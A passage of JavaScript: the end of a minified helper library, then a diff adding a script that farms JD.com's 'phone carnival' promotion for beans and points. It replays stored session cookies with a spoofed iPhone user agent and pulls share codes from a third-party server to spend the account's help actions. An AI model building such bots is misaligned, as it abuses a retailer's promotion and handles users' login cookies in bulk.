r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_818.js b/activity/jd_818.js new file mode 100644 index 0000000..06e4417 --- /dev/null +++ b/activity/jd_818.js @@ -0,0 +1,930 @@ +/* +京东手机狂欢城活动,每日可获得30+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) +活动时间10.21日-11.12日结束,活动23天,保底最少可以拿到690京豆 +活动地址: https://rdcseason.m.jd.com/#/index + +其中有20京豆是往期奖励,需第一天参加活动后,第二天才能拿到!!!! + + +每天0/6/12/18点逛新品/店铺/会场可获得京豆,京豆先到先得 +往期奖励一般每天都能拿20京豆 + +注:脚本运行会给我提供的助力码助力,介意者可删掉脚本第48行helpCode里面的东西。留空即可(const helpCode = []); + +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +0 0-18/6 * * * jd_818.js, tag=京东手机狂欢城, enabled=true +=====================Loon================ +[Script] +cron "0 0-18/6 * * *" script-path=jd_818.js, tag=京东手机狂欢城 +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=jd_818.js + */ +const $ = new Env('京东手机狂欢城'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +let jdNotify = false;//是否开启推送互助码 +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; +const activeEndTime = '2021/2/4 00:59:59+08:00'; +const addUrl = 'http://jd.turinglabs.net/helpcode/create/'; +const printUrl = `http://jd.turinglabs.net/api/v2/jd/5g/read/30/`; +let helpCode = [] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + await updateShareCodesCDN(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await JD818(); + // await getHelp(); + // await doHelp(); + // await main(); + } + } + // console.log(JSON.stringify($.temp)) +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + // await getHelp(); + await Promise.all([ + getHelp(), + listGoods(), + shopInfo(), + listMeeting(), + ]); + await $.wait(10000); + await Promise.all([ + listGoods(), + shopInfo(), + listMeeting(), + doHelp(), + myRank(), + ]); + await Promise.all([ + getListJbean(), + getListRank(), + getListIntegral(), + ]); + await showMsg() +} +async function JD818() { + try { + await getHelp(); + await listGoods();//逛新品 + await shopInfo();//逛店铺 + await listMeeting();//逛会场 + await $.wait(10000); + //再次运行一次,避免出现遗漏的问题 + await listGoods();//逛新品 + await shopInfo();//逛店铺 + await listMeeting();//逛会场 + await doHelp(); + await myRank();//领取往期排名奖励 + await getListJbean(); + await getListRank(); + await getListIntegral(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function listMeeting() { + const options = { + 'url': `${JD_API_HOST}task/listMeeting?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log('ddd----ddd', data.code) + if (data.code === 200 && data.data.meetingList) { + let integralNum = 0, jdNum = 0; + for (let item of data.data.meetingList) { + let res = await browseMeeting(item.id); + if (res.code === 200) { + let res2 = await getMeetingPrize(item.id); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + // await browseMeeting('1596206323911'); + // await getMeetingPrize('1596206323911'); + } + console.log(`逛会场--获得积分:${integralNum}`) + console.log(`逛会场--获得京豆:${jdNum}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function listGoods() { + const options = { + 'url': `${JD_API_HOST}task/listGoods?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.goodsList) { + let integralNum = 0, jdNum = 0; + for (let item of data.data.goodsList) { + let res = await browseGoods(item.id); + if (res.code === 200) { + let res2 = await getGoodsPrize(item.id); + // console.log('逛新品领取奖励res2', res2); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + } + console.log(`逛新品获得积分:${integralNum}`) + console.log(`逛新品获得京豆:${jdNum}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} +function shopInfo() { + const options = { + 'url': `${JD_API_HOST}task/shopInfo?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data) { + let integralNum = 0, jdNum = 0; + for (let item of data.data) { + let res = await browseShop(item.shopId); + // console.log('res', res) + // res = JSON.parse(res); + // console.log('res', res.code) + if (res.code === 200) { + // console.log('---') + let res2 = await getShopPrize(item.shopId); + // console.log('res2', res2); + // res2 = JSON.parse(res2); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + } + console.log(`逛店铺获得积分:${integralNum}`) + console.log(`逛店铺获得京豆:${jdNum}`) + } + } + // console.log('data1', data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) + +} +function browseGoods(id) { + const options = { + "url": `${JD_API_HOST}task/browseGoods?t=${Date.now()}&skuId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.get(options, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + // console.log('data1', data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getGoodsPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getGoodsPrize?t=${Date.now()}&skuId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.get(options, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function browseShop(id) { + const options2 = { + "url": `${JD_API_HOST}task/browseShop`, + "body": `shopId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options2, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getShopPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getShopPrize`, + "body": `shopId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options, (err, resp, data) => { + try { + // console.log('getShopPrize', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function browseMeeting(id) { + const options2 = { + "url": `${JD_API_HOST}task/browseMeeting`, + "body": `meetingId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options2, (err, resp, data) => { + try { + // console.log('点击浏览会场', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getMeetingPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getMeetingPrize`, + "body": `meetingId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options, (err, resp, data) => { + try { + // console.log('getMeetingPrize', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function myRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.jbeanNum = ''; + $.get(options, async (err, resp, data) => { + try { + // console.log('查询获奖列表data', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.myHis) { + for (let i = 0; i < data.data.myHis.length; i++) { + $.date = data.data.myHis[0].date; + if (data.data.myHis[i].status === '21') { + await $.wait(1000); + console.log('开始领奖') + let res = await saveJbean(data.data.myHis[i].id); + // console.log('领奖结果', res) + if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) + } + } + if (i === 0 && data.data.myHis[i].status === '22') { + $.jbeanNum = data.data.myHis[i].prize; + } + } + // for (let item of data.data.myHis){ + // if (item.status === '21') { + // await $.wait(1000); + // console.log('开始领奖') + // let res = await saveJbean(item.id); + // // console.log('领奖结果', res) + // if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + // } + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function saveJbean(id) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/saveJbean`, + "body": `prizeId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function doHelp() { + console.log(`脚本自带助力码数量:${helpCode.length}`) + let body = '', nowTime = Date.now(), tempCode = []; + const zone = new Date().getTimezoneOffset(); + if (zone === 0) { + nowTime += 28800000;//UTC-0时区加上8个小时 + } + // await updateShareCodes(); + // if (!$.updatePkActivityIdRes) await updateShareCodesCDN(); + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes['shareCodes']) tempCode = $.updatePkActivityIdRes['shareCodes']; + console.log(`是否大于当天九点🕘:${nowTime > new Date(nowTime).setHours(9, 0, 0, 0)}`) + //当天大于9:00才从API里面取收集的助力码 + //if (nowTime > new Date(nowTime).setHours(9, 0, 0, 0)) body = await printAPI();//访问收集的互助码 + body = await printAPI();//访问收集的互助码 + if (body && body['data']) { + // console.log(`printAPI返回助力码数量:${body.replace(/"/g, '').split(',').length}`) + // tempCode = tempCode.concat(body.replace(/"/g, '').split(',')) + tempCode = [...tempCode, ...body['data']] + } + console.log(`累计助力码数量:${tempCode.length}`) + //去掉重复的 + tempCode = [...new Set(tempCode)]; + console.log(`去重后总助力码数量:${tempCode.length}`) + for (let item of tempCode) { + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + } + } +} +function printAPI() { + return new Promise(resolve => { + $.get({url: `${printUrl}`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function toHelp(code) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/toHelp`, + "body": `shareId=${code}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Referer": "https://rdcseason.m.jd.com/", + "Content-Length": "44", + "Accept-Language": "zh-cn" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果:${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getHelp() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/getHelp?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n您的助力码shareId(互助码每天都是变化的)\n\n"${data.data.shareId}",\n`); + // console.log(`每日9:00以后复制下面的URL链接在浏览器里面打开一次就能自动上车\n\n${addUrl}${data.data.shareId}\n`); + let ctrTemp; + if ($.isNode() && process.env.JD_818_SHAREID_NOTIFY) { + console.log(`环境变量JD_818_SHAREID_NOTIFY::${process.env.JD_818_SHAREID_NOTIFY}`) + ctrTemp = `${process.env.JD_818_SHAREID_NOTIFY}` === 'true'; + } else { + ctrTemp = `${jdNotify}` === 'true'; + } + // console.log(`是否发送上车推送链接:${ctrTemp ? '是' : '否'}`) + // // 只在早晨9点钟触发一次 + // let NowHours = new Date().getHours(); + // const zone = new Date().getTimezoneOffset(); + // if (zone === 0) { + // NowHours += 8;//UTC-0时区加上8个小时 + // } + // if (ctrTemp && NowHours === 9 && $.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}互助码自动上车`, `[9:00之后上车]您的互助码上车链接是 ↓↓↓ \n\n ${addUrl}${data.data.shareId} \n\n ↑↑↑`, { + // url: `${addUrl}${data.data.shareId}` + // }) + // await $.http.get({url: `http://jd.turinglabs.net/helpcode/add/${data.data.shareId}/`}).then((resp) => { + // console.log(resp); + // return + // if (resp.statusCode === 200) { + // const { body } = resp; + // } + // }); + $.temp.push(data.data.shareId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listJbean?pageNum=1`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jbeanCount = data.data.jbeanCount; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getListIntegral() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listIntegral?pageNum=1`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + 